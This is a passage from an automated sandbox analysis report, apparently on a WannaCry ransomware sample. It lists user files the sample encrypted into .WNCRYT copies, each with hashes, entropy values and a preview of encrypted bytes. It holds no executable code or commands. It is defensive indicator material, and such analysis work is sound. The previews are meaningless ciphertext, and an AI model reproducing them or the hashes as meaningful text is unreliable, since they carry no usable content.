                                                                                                                                                                              SHA-256:A71D8FAA5A2CC4B75FFA440A177AE59300B0EA88155044BDCD1E693FC9087DF7
                                                                                                                                                                              SHA-512:692B75FCDA20581B3620E7F3D1A919FF1C7396DB1890507B50AA5FC4FD9FE2A8A2AADE848576B420007EEE15421459CBCFF885EF267EECE219B29A19E41B03D1
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.............k........U....v..cl.......7?+^..o..w*(...?a..h..D'"...]...HfmchR.o.#]..o...dixU......J..!.>5...X..}..c.#h...bw..q..X...2qC....1U....)..P3... .".w...6..mN......:.&7.A./m.t,&.D.b:.$...{.3.....M.u.$..n!.....r.s..C.).B....2.hj.Q...C...V..............q..,.X.>.(.E.yM..@.&h....D.X.....'0.k.;.3.XE..|2......4...N.z..E....n.|...H'....0!Z.=..R...X......z..&.@I.G...s...._..{W........I...{..s.>.4..E.8..*..i.....2.+.^2....A..|.....HW..,xnI.70.5.x%[.@..x.+.*.s].......V{.Q..S.....w...*-IFIq.RG...._.Q.M.X.8..y..LG{..j~t(#@..U..xf.1.._.."...................-..q.L0.b...oN:.A.1s......v..%D.?....3h..I..0.?uO.O....D.28...h/..`R...8u..........D..on.......N...vj.."...![..\...'.L.^4.#B.....th:....z[..O.l./...T.K8..&..H.[-o..u.....o.D...d..&.CFXk.)..t.j..... .B+..f1.dZ2.^...M..~..l..7.k.........Q5y;.2.....*.x.">B...|T.L.r.6[.L..|.....b..kIL...Pg.%YE..m..... ...2.P+...wqg.u..^..`..sP@...\...KKgu.uz...A9...0@z..b.).q.P...v.>..k5...)m..36~&

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):38056
                                                                                                                                                                              Entropy (8bit):7.9955280044243935
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:6BeB/dqHNRmNGTrZ1C8cAu6Cr0xaBJR0M8jElXtuT2N71:Z9d0rwZHBDmElXtQ2Z1
                                                                                                                                                                              MD5:2C455B5CB5F491462A03B9DD5DE7AFF1
                                                                                                                                                                              SHA1:59F34EECF58A3A4AB3BF5DD275F2B44B3A80C831
                                                                                                                                                                              SHA-256:2D60D19B6D77212E4A40F4D378C54B89C350F2D50493FA16A0D5A3B4F3748E22
                                                                                                                                                                              SHA-512:3905FDD5F4FA2C219C530CA43113D29EF4EFD9829B3AE5BBECC8745CA50ABD63022750E0D585088F27213CB96638700ADF5ACC5164CB9440583EABDC6279DF90
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....K...yt..../......z..."|..._c.;.ASK...-.f..*.A......e..lV. .\{...TC.A..2+J.....&.9..].@...t...xr....l..@O...."A.. .....x.....!1...O:.........f...(........?.z....gm...,...^.Z..2.y...a......I.w2OO...r`....h.C.gZl.x...._.|.9.0#.j.{.!./../U.9W.E66|................)6.d3..|w..Z..C.$...Y..a-.u..!}B...f..Z.U..|.b.Q...;...$.p..o.r_.. L..m...'.;...[.XGm.:..'.uO.+`.-..mwf.=./T.JZ......G.z.....W&.I.NK..c.w,.w...)..SpJ..p.3..J.......,rI_.h..2....evZ..,.FM.<..../..,h...Wd.i...){..U.....%...k......-.}.T..|.M.'..M...`....T...W=........:...I,..d......!.,...;..@....-.{..a M`...RG.n.qq...Do:Y$.....G..>..=.^....0..`..O..#...v.&..q..S..9..6.....'.=....}..._I....].A...C.A..._..A...c`.i.......A!.4...m....t=.....JD.:..63P..o..J|L.P.....IZ...m$~.z.<~`.VV...8..|...\.J....\...Y.....p....]J...[.\...k....~.v....c.CLRDW......O...u...4...$.v...3.l.6.+\....WU..w[..u%.'.....iX2.C.d..n!|...K.&..(...t1UR[...{fQ....\iE.... .jq![..rc.;..3&D.....tx.6..<r.....

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):36888
                                                                                                                                                                              Entropy (8bit):7.995099020565375
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:ELjRHHEcWFKO3IfJFUvBupAluwl/YqNoXNaYI6qgwq7c4TNG7j35:EubKOYT4LHgNVqcTg775
                                                                                                                                                                              MD5:713D2A88A1CB5EDDBF02A8AB654BA618
                                                                                                                                                                              SHA1:E39A98DEB733077A2072CF2565F4DC3F8925295E
                                                                                                                                                                              SHA-256:A97F3FAB2C9E8E6D09A39D3E0644C1D51BC78E3BF94699000B68451BF4B77896
                                                                                                                                                                              SHA-512:D7A4D911397F8313CBBA959E4B639E4627B6400210865A87748582A1C241B1ED7F3026FEC0ABA1D64C29682E48092F78A9F3770275D81A6EE4D3CE897892C0BE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...... .-}5.5...OT%<i.oU..c:|0.. ec.[...=c.o6...@?Y].R}...z2.....A.U../..JY0K...q.I.3.Ib..|...n..[_.....A.I....h.............d.Z..tk7...D.?+u..LM.&..$.`.#.....Dd..Z.v..o.S..%.."...y...Y..5|.9...._..5.C..J.$1MPX.r."hPF.)r..\....|.>hx.../.4...tz.]...}..............1vZ......ED...uG6.>..r..K.....p.....x....PD=.....s.r.9v..I../...5...z..^f. ......0......A&.tr....!...~.`#.!%..8...[.8Xk.u.E....8...H.q..8Y6#C..X.L4F......I..]..F.7....m.3......<....?b.q...UB>.>g#.|W........^m~...6..q.|..qv`7xw.....#v......B.3.R.#...MMo..j...c...........@C..0.>...@P..S.G.F....=...(..L..>.k...us8...&.&..oEp..r...e.Dx.."....f..H..2M>........KJ...dl.\#..{C...~#..9.-.]......F$. .G..{......\.......>..M..l.......J..f..Q......k.|o..ZF......d&..R.]....d..j.?/.^a.q.=i...0.7....4.6h..i.@9/..4..t@....w...f...}.~v.....1...x.T.A.}..C~.C.)2.9.r.Q'........}.....1...wq.p.9.{.6.%.5.*..V\.@....Q.5V...zl.....&.W[.....^...........(j..Fp\...Q.6,:.=....q...)....... .x....U.\........g

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ReportOwner[1].txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.167822008001005
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEtjGrHlK690CsQBbPjMibo6e+NsWemJZGc5pWz7szv9caFxC2K4R:bkEtj8FK690mUibnejWsg193Fo2jR
                                                                                                                                                                              MD5:31F50A1547AA35BEC7E68406A78FD4B9
                                                                                                                                                                              SHA1:D7BCD80085BB109F44CA6CEF96E3C65D0A86359E
                                                                                                                                                                              SHA-256:757F6737BF02F393ED2F593A0C7BE201AF1378B7E4D4DCFC663101DC6C311E86
                                                                                                                                                                              SHA-512:CD9B472D088AC2696DECAD00CEBED3678ADD431F801B86F7AD1BDA5E923F71EED480A61EF5C998A52998FBC461B56D85724E05CDC15A00DFBC3DF32077634C38
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....;...8...g....f.......=@N.......V..z.uE.Q.k.......-....\.8. .."./...r....1.+..Hfjh.&.).Mx.\1..._{M..I..{......#.Z.7.c.....O..dD:9fx=.........PP.....?]...K..&.Z*.Z*.b..?... .L..a...MN...;...V.`.,.|.z...7QO* sd.0..aB..M.....y .W);..x.z2`.....................j.'.'..a...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\C7S8M5VS\ProcessMAU[1].txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.132108599241045
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEchjv6hGUmU0khuaiMTTEWB9oqlnLhp/mf1TSPFWPslDab:bkEAv6hGU3tSs/aqRLhp/k2YEu
                                                                                                                                                                              MD5:143A4CDA94967EB78C6FF14BBB6D807B
                                                                                                                                                                              SHA1:DAD0B73F19F02E8CE90D49C44AB34D7F9290C24A
                                                                                                                                                                              SHA-256:C3CE4DDAAB8739338555EBCE621FD0BCBFAF1FC8B598643759E9188367678F32
                                                                                                                                                                              SHA-512:9144B917A77375FCB9C5F75DFDFF38DFC469BB4D915AFA5187C1F31D4060CBB555C2ED267F4CE3F592FF4FD60722B90707EC79267E96C32F8F97B69360C52885
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....J........^F6..1.....1..O.F.J.4... ..=..D..K....wX.*c.=uc...UK....-.bd..i...a<..{.|.*'..I..?..j./d...MZa..s,..A......B`^.G....\.D..g..,...W...c...J@..I....r.).=.....EyC0x.N.~.[@.g...f.../1i>.~.}.vR..u.;c....H.x...`>.6?.X`^.....?....hL.U.)s............o.,.a.X.Q..i..B.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048856
                                                                                                                                                                              Entropy (8bit):7.999841674654994
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:AJF66qMLKD764Sb1tT3lNIx0kWMfhz8SNuy5Z95+CnX/XaAZ1AB:gc6qMLKD7pS1tT3lqoOgSNu+X+CvbAB
                                                                                                                                                                              MD5:0550021F0A26D6347B85E6169C4A48F0
                                                                                                                                                                              SHA1:2F4B738476ECE01C6F90E820EDCCDE9E804C733C
                                                                                                                                                                              SHA-256:6249A11AA41D6A99B67C7E7CBCBB9EC833C13D076BAA1689CB86C806A91B2499
                                                                                                                                                                              SHA-512:47E8DA1F54C671B93BAFB3938AD23132434B275A63C406FE9502A737E8C02DA150A496F616E4543A3AACD2F365F547D1833E353D2807C429A8B13AA16B6D2835
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....z....Usl*&>..4DuQ}..~:.....P..".(.{yM`."..C...>.@.<`Z...?..."k|.qlPqHK..L8...G4b.A....^$0...OX|3..8.[O~9.H;.m.Q.. tA..,...w...N.;>b...../>q...0.R}.WT.b5.<.-.-z.........7...P..Dhm.....Or_yC...4.=.^s...[%k..{%..v..h. w.T..|..Q.>..R...+..-.'............!_...ch...$....f.....k.!..3..)F.;.LKM.*..`4.... a..j..U.X.(.#.Bd.tSq...6..|.......|..../Y......G.s.O...>....$......6-z._u\.2.7l.|..i......x..d(..$;....:b/PE...^._.u..n.V7..i..<|.(........f..,.s...+..].R=.[H....N|bP.0.....H.5.S...G..IE....^..6....D..R..,.E.I......lY....Y>........t.`....c.L..^^...8.*...`...y..~...\NE5M...-....=....m.N......%.^.CJ....3......Jn.....&.....Y.Y;..i.1...........;N...3p8.N......9m...(...yn.*.....p{.J..f>.P.HK.'p:..B.C..l.s..<._......O.Dux.._.c.B...}.F.@.up@..4.p.qU........>.d.l<.y........y..t.+?..i.y.......K..1..9.....p.S..MX.....3..k..d.....F.VD.?..V..........9.&.......N...2.]......1......y$-x.BZ>,._...u..J....(.g..4N..W.?D..<...M.b...j.72...5

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2680
                                                                                                                                                                              Entropy (8bit):7.935491677697695
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkl3cvwNIAR5kxYoqYU3Ami0BB/+tuIO5fw4O6AQwzEegJv/aXzHAJ:ooAzoLxZ0r/r06XwzEegJvAzgJ
                                                                                                                                                                              MD5:A82FDCBFD23F56AF61CD403A0AFB40B5
                                                                                                                                                                              SHA1:20D246D015A2DC8F24A9E0BD230AC694927ED3F4
                                                                                                                                                                              SHA-256:8EBA80E3555EDB4C2A95C5642C725CF910798C3EA84F33EAF557EAB6631AD5E9
                                                                                                                                                                              SHA-512:FF2ED2DD162BB0F9CF8BF20D58C9804ED118599608E11B3D8BE51106D52C2CD5BACDC9DC7689A1829DEE5A7501BC95228C5390F291767032E00624D3133AD22E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........T.\..fz..\jY.h.9.#.{w.a$.....NN.6...GZ/..'!.....L..[r....*r.&.N?~n...~].hk...&(...Lg.5zb..16..7X3_x.(....P.H....1|...'....;...!.T.M-.J.y.l.a..Gj.u.|]Z.qi...J.4..}#EC.....W9).h....K... m.l...j..u...2.,.8.4.6.?...]..d.W.xz....B..;.. H?LNte....Y........-.Sd.O.\..Zd...}}c..N........N$..}..@!..Q..l.8h....\\`..H.rPB.f.....s.u.U.5.W.........6.%.mV.........2....P>.....2..Rr,].}.N....R:.#0..Q.H...$t.?.....E..,s.]....J.Q......K).!*IQr..3..M..p~?.&KP...A.'.j..O.s..;..9...F..n..6y.C..5.]...Y.~.)..j..W1.......N....Ph.*;....[.1....oc2c./.........$[...:...d.....>.D\....;...2.UT..I/....E..g.I,<h.....1X..%..n...{...%.qy..!..7.....02os0eK.5tr...$r..|....K.G[...J.%..2}..D.^..j.q.H....&M.Xb......0.^.Pr._.}.&.p*6.9$5..~....3.x.....9.=..c.....d.G71...E*.j....X1....H..1....U.8.. ....bB;...?../."..|..K6..{w K.......(...Hk.n.'E....a./..c.J.h.[.....#......Z5F..b..s5H.c........L.?.Je..?..Dv...tCF(.1.M.".q.Q.#....q....yh.w.....K8..(..m.1e....R

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1912
                                                                                                                                                                              Entropy (8bit):7.918655425191049
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkWEHoSf/i2mPwISYHbwOQMG8tKWAH4P4lyXqbwDwgs:oZDf/i747uYMG8tKWo4P4lyW1
                                                                                                                                                                              MD5:E7E637D0541877DFB951E5C05E4422AC
                                                                                                                                                                              SHA1:4D07E18AA93F9CAF868A12887EC3CC3844903C42
                                                                                                                                                                              SHA-256:B0A90A22F3DAAE8531746D7C42BE6987FCF33706F01D3F0EE91ABA847396629B
                                                                                                                                                                              SHA-512:47008A4229BB0DC37341233862CF675C94C0DEF3BD594E215C0F8E3EA97C3F27CA184B98B016ABAE9CBB34B25DA505922560DB4A48C106C76F64FC762A4E432A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....}.pd.,p.u......1</..air...4......2E.;..(.6.x......<_..b..uT..L.T.T.T....[.......$....a.]I.(N}I.cy.?.*3...~..?..7K.<T....8..8.t...j._.}T.w...:.V...n.E.;._...]&..@..:.........5_..8.........I...I.j2.f_.....e.N....{.......X..H(..........#.x.!.(....[.......s..3u..g.E.......B.XW^..._..jT..9nB.mi#K0.....X...A..o...}...'Eji`... K..V.~.......jrA.~y...r.SA..6.,%...V5.7.G...]dW1.bG%JJ\UPf......l8...=.. u.d..]..h`b......-..1V..!X6.S!F......j.:..V}.s....9..vK.E^@..4..Ic..7C|3.u.s.Jk|Wc.o.O..UW..m...|1......La..tY.O...A..~.*.QZ.p...y8b~qR.7...4 ....]d.xf.6<...S.&.#....w..f4....jF8....Z..#^.#.4.L....<LC<..nn.....Xp.l.- .i._..~....A...!.....D..G ~UR<7t`.#.......n.....L<Uf.Yy.......X..Y....&4.x.J.R.8..9.C.3#|O..yJx\..j.....Q..Vh*.b....I.?.F.o.....h....q.......M..VQRz\|C..a.,..hH..I.D......7..#.......b...;.).q...M...xb5.c....=L\...M.N...)....\U.....1.3.9Rt.3.|...tZ@'.pw..A.s...\...C..X/.3.....^...,)....r...".wM...j?..3...2Wb.-..%.w.<.Y_ .

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\squaretile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2696
                                                                                                                                                                              Entropy (8bit):7.930581679790075
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkPvStLS0D/ax7lrUrQR6Eje04iYmKI57IRLEU/4DYcTiSaTbI6XC2m0HHtR6Wu:oStG0jAxQrQROmK9RQq4BOVVXCT0HHud
                                                                                                                                                                              MD5:F7800173EF816960DAD15C88DC84EDB2
                                                                                                                                                                              SHA1:7FB3D7C04BAAF566F09C6E8B36D531C3FA3949B3
                                                                                                                                                                              SHA-256:5DC2F915F4892BA0C7E47314EAAF5A76F9AF519A962BE0E6899D9876AE7D0B30
                                                                                                                                                                              SHA-512:47A9057C92811FC2B108D8ED31A287B3813BF7A904ADD30952F4EEDE531FC8B8DC033BD4D1DCC95E40EFFA0B507E4B66A6C3C2E29121EE64C849DE7899F5AEB9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....y...q.....H..........N......t.I.o...'.X..j..X...v.$..6..L.=.Z.]K..,].V`.e...J.7l....i..P..W.f..20GbWB'..^..z..Y.!.#...>.^.5...I.....L.m.Es.4.E....k.._I.X...7..M..Z2<r.M..!..<..e...$...{.ZA?R...^eO...n|.3.(.K... .).3N.W|,..G@.u.....:.'>.X[.|B......a..........fH`...~..'..a.u.:........~........V0D..d.{4...s"78{5).w....P.As...T.r.......=.wla).c.}.....l5I..>.}K"..f..}[...G..h._8.p....YS.N.5a.~...Ytu.1..:.J.........xNn....[@..XH...y....D%..?...{..PB..wb....".GuYN."....G.?..F..J3.?....G.L|....+.X..L....O....$b/.......(I:..q..W..}....2Kx.QE`.....T_i7.X..eQCW.._...v.Y,=.8..r.u6/4?.o..5....E..VT=..+...M.y3.......hHx.....=.O......}O.r^.Z.....Vk.L...%6u.....g9....Z..:.......{v..T.?...D.3...nL.r..........T.^..S...dG.........K.'S$...4.?..0.N.k...%C.M..mB#..YL..lI......B...]......Cz....x..n~8<../i.xe.,.R..a+.\..<...1.}....5.....;..Qt...d...iSb.pM..1...v...$.HW.T.f...8.b\o..&.k.{.6.)..$...+..r..+9P{_..6]. y...0}Fvuj.#...~..-"..x.7/.........S.[.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\38975140460\tinytile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1864
                                                                                                                                                                              Entropy (8bit):7.880694516175096
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk9QXH0S5KrM6ASJI8cMPUm8CuYaUHftZsuBiIeNbr:o1M6ASTnpgUHY7JBr
                                                                                                                                                                              MD5:0F055715301EE4551D3424FD7B19DB4F
                                                                                                                                                                              SHA1:1E1F17FE78819EC5C3C370966E7DCD1E27FC28E4
                                                                                                                                                                              SHA-256:78F8C2D6C837A64475519225514B14CCD65404D62F8BD8B8B7D11BAA5AB578D8
                                                                                                                                                                              SHA-512:E53AC7570197B642D415611441F00450A18615B3086316CF108110478F4D440E9A8C2D7C5E48766E4CA6478550DFA7FAD527E4E5E5A2D7DBC0B17E23DF1A741E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....#...?..t....A.%..L.(...bs..;1Wx.`U.#....1.>..j.]v..)+...R.T.#..b.kG.....1B..8.*.....h...M...e..;C.....RZ...s.6f.DA. ..lw.Y.@..0.Q*..Z..p6X%0..1...(.S...~}.g.....#.........\".t&y.|..H.6....-%.9...#..."...Lwwp..........Qg.U..............).........yls.-T$t....<q.....-.8"\....TKlD.]..:......$.C.4*.\L*?L.I....;4....z...}.Z..."=.P.....-0Z@G.H.K..FBc..........D.5._b..b...3)#8.$....S,..N.W...>Z..B.),4...H...m..........9....;OW.!<8`H"m.t.!.S<.....6.K...%.....nr..K.mx....D...r..9J{.....6...t1w.X...*N4<.."Sh..v..n..U....s..MS.}"..%i.-%.:R!./.3../x...:..."..,*.........K..>..G.P;a.x)......2.A#.c...._|..."..P.A[..0.......7........M..'...N...8&..~0.V..>...]...\.|+.....<..?Y..W+9..&.'..N. ...<.8..F...x.UR]l./.h.*........j.e*..?L$......+d....T...Dm<..t....QSi..2,5.k...8..3.......Fl...f..aM1...f..7l.....l..J)...*...wL..II.s....'.4[N.i.V.z}....s..B....TE..G...9...&..._.?..*6.9;..Fr..\[.s.._..(o7,q.N......z-....._.?.%..u..x.^..6.....`.....I2%

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\squaretile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1848
                                                                                                                                                                              Entropy (8bit):7.876702684730344
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkV+RPbN7FxmQ5NstOvlLtTmaSZy8cUKEn/jjDFEm/s/pFc/p:o2DmQvsolpTma3cnDKm/sx4p
                                                                                                                                                                              MD5:E4F84A231AB992DF2B4DA67F7D4D2C8E
                                                                                                                                                                              SHA1:4AC5C5096DD5489151694790732ADE8BD6325779
                                                                                                                                                                              SHA-256:32F9895703B7E6EB38939C839BA1BBB5780A530D2FD1E78D73A3E5CB2B09B890
                                                                                                                                                                              SHA-512:324449B44B32312677DABD88936796C4ECA36EDB586C5DFBFFEB10EDD84320DE44A46C47DF6DA0D27DFF8C0F35ECE3CDD48571A4161A9FCA3AC78D4CB79F415F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....T...[H.b..R.....L[f[...B...4o...A...L.si...h+|./.~5mH....^.1.....y.P`...;b$...b.a...qDOfE(.Rv.$.Xki....?..X.M><....h.......%..L..u1.G.q.*oK........`.:T.Q.e.....p....d...Y........J....F..$..6.p..R@....Gx\.KO..}..b.O..en...].]..g..s.....p..^../^............l....;....M$W..6../.4.W^....~9..U..U.S.......1a....Ba..;./...[.......e....K....I.&5..u.....?4....e..2x.,...+n....'..I.v..~. .KC.p.p......F..4...i.......0......!.g0....U/...iBq..,.........QUn.. .'....B?..w.).t..N5.. .eAD..T..;V...f.z..uLRnC.>..[..wS........|...\...UP.}q...g.~IB#jx...K...u.D.0(...H..!5...;d..EjH..G.9N~..*.3z...MU.S..#.HJ..$.c. .,f...I......7.S)S.....w......P..'.&....4.4...(..Ehq......=.....Y...y..k..j.....{..k.p.U..|..e:I..!.eW...'!.......".m[L....&X..Bo.-..(1.....D..j.9.i......rs.......b.........P... ..Q....."7n.....F..M..a.....'=......T..u...2I_v.7..........9|q...,.w.E6.A.H.....&.....kp....bv...l]F..DqW..v:.5.u.......wh..../6."..P.Y..hB1n......K...c.<.X.B....d..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\6501008900\tinytile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1400
                                                                                                                                                                              Entropy (8bit):7.827876634788132
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6+aBaAgYMNHOh0WPLhIhuetev15aEIsQ7MYFD4oeDmbF4BD2gxRvu8QQCsKgeJ:bk6+aRdtIhuete15FqMYlJOmbF4BSgx0
                                                                                                                                                                              MD5:8820755F325379F55924247F3E9111F8
                                                                                                                                                                              SHA1:E467CCF24FBE2A45596D6EDF5E985ADAF0D5E2FB
                                                                                                                                                                              SHA-256:6905F9192441F2CF387D6CE2177D40AB861CE1C06C7031BF84C406D1726F8554
                                                                                                                                                                              SHA-512:154097FADF5D14C8F5D67C5877E7FAF336C24A243DC574036A9B7E6AB0FDB822D31A3402CA3D9D3F8CA17B3F2504CF96AD4F42929007DD6C3E25DD3BAE6FFC0F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....;V.)e.N.|././..H(w..j&..y.(...I......b......#k....[.-........X4O.......l.8..0....]4...:a...Y.A|pe.p....L.+.,%.bM.....j....Y&...l.1$../...e..yR...../.1.Q+6...h...k..6.{$..{..t.#..t......P...G..@oo_1.{.Zn`.8....7.1........tvNp..I.B...3!u..v.5....Y.......=.{xI.E.......m.g..r.9..|gA.l...q..........2.k2.?r..8s..P.u..9..V).((...... GN..C..i...m.....(z............yv.7.I...2`L.L.7......|.iG?OO..~...H.s..}Ao)f...b"...X...J..KD.k.6].83..X0...0(>...>.3}/~..G......).....l{?.Q.k.3..*v..y.@...>kU)...W._...k....I..?8.Jk....`;...h!....`.&.......V2Q............C!K..*.F8.s$G/76F..}.??.........r...6.s.}.]./I.d.(...|. .z.9c.q{<B4...M..8.#}.]'u.)o,8X.^..1,...n...#..4mj....N.j.`..y.*.....E.g.E...$..]..c.......J..[..*Rh....qY%.N..HR......7.v.?7.#..2C....k.e..V..Xs......k.^?..2.........^.5...K..:>...i...<V.C..9V..D>(.#(qR^.n..QA.R.Y..C8".Z....._.w.1.]JJP{.a..n.8...9.{....@..G.L..3V......xP..7.".@8'^...j..T..nA.x[4Z.b..u<...C.[....X.,.Y.o....a.c.(...V

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\squaretile.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1736
                                                                                                                                                                              Entropy (8bit):7.877122200775611
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk3CHttLQAMHqRCzzx+4XGSHwBTapB244UEs9XVYAZI5FK:o3CNBskCz/HAaiI9XlZIbK
                                                                                                                                                                              MD5:89A03641F856838D424D752B8CD8D8BB
                                                                                                                                                                              SHA1:AAD97A40192F4761CF822137116C55E5438D2C90
                                                                                                                                                                              SHA-256:674CE56F00D61FA2A7BD25994F1D2F97FD9E39899D93B39585AF90E831E53A24
                                                                                                                                                                              SHA-512:0674C2081457806E0B2621AD4D08AA50A20E28727339F4B5991C6FE533AE550EE3948F89275018CDB95473D71544A14EFC1F5F715BCF31639254917918A75928
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
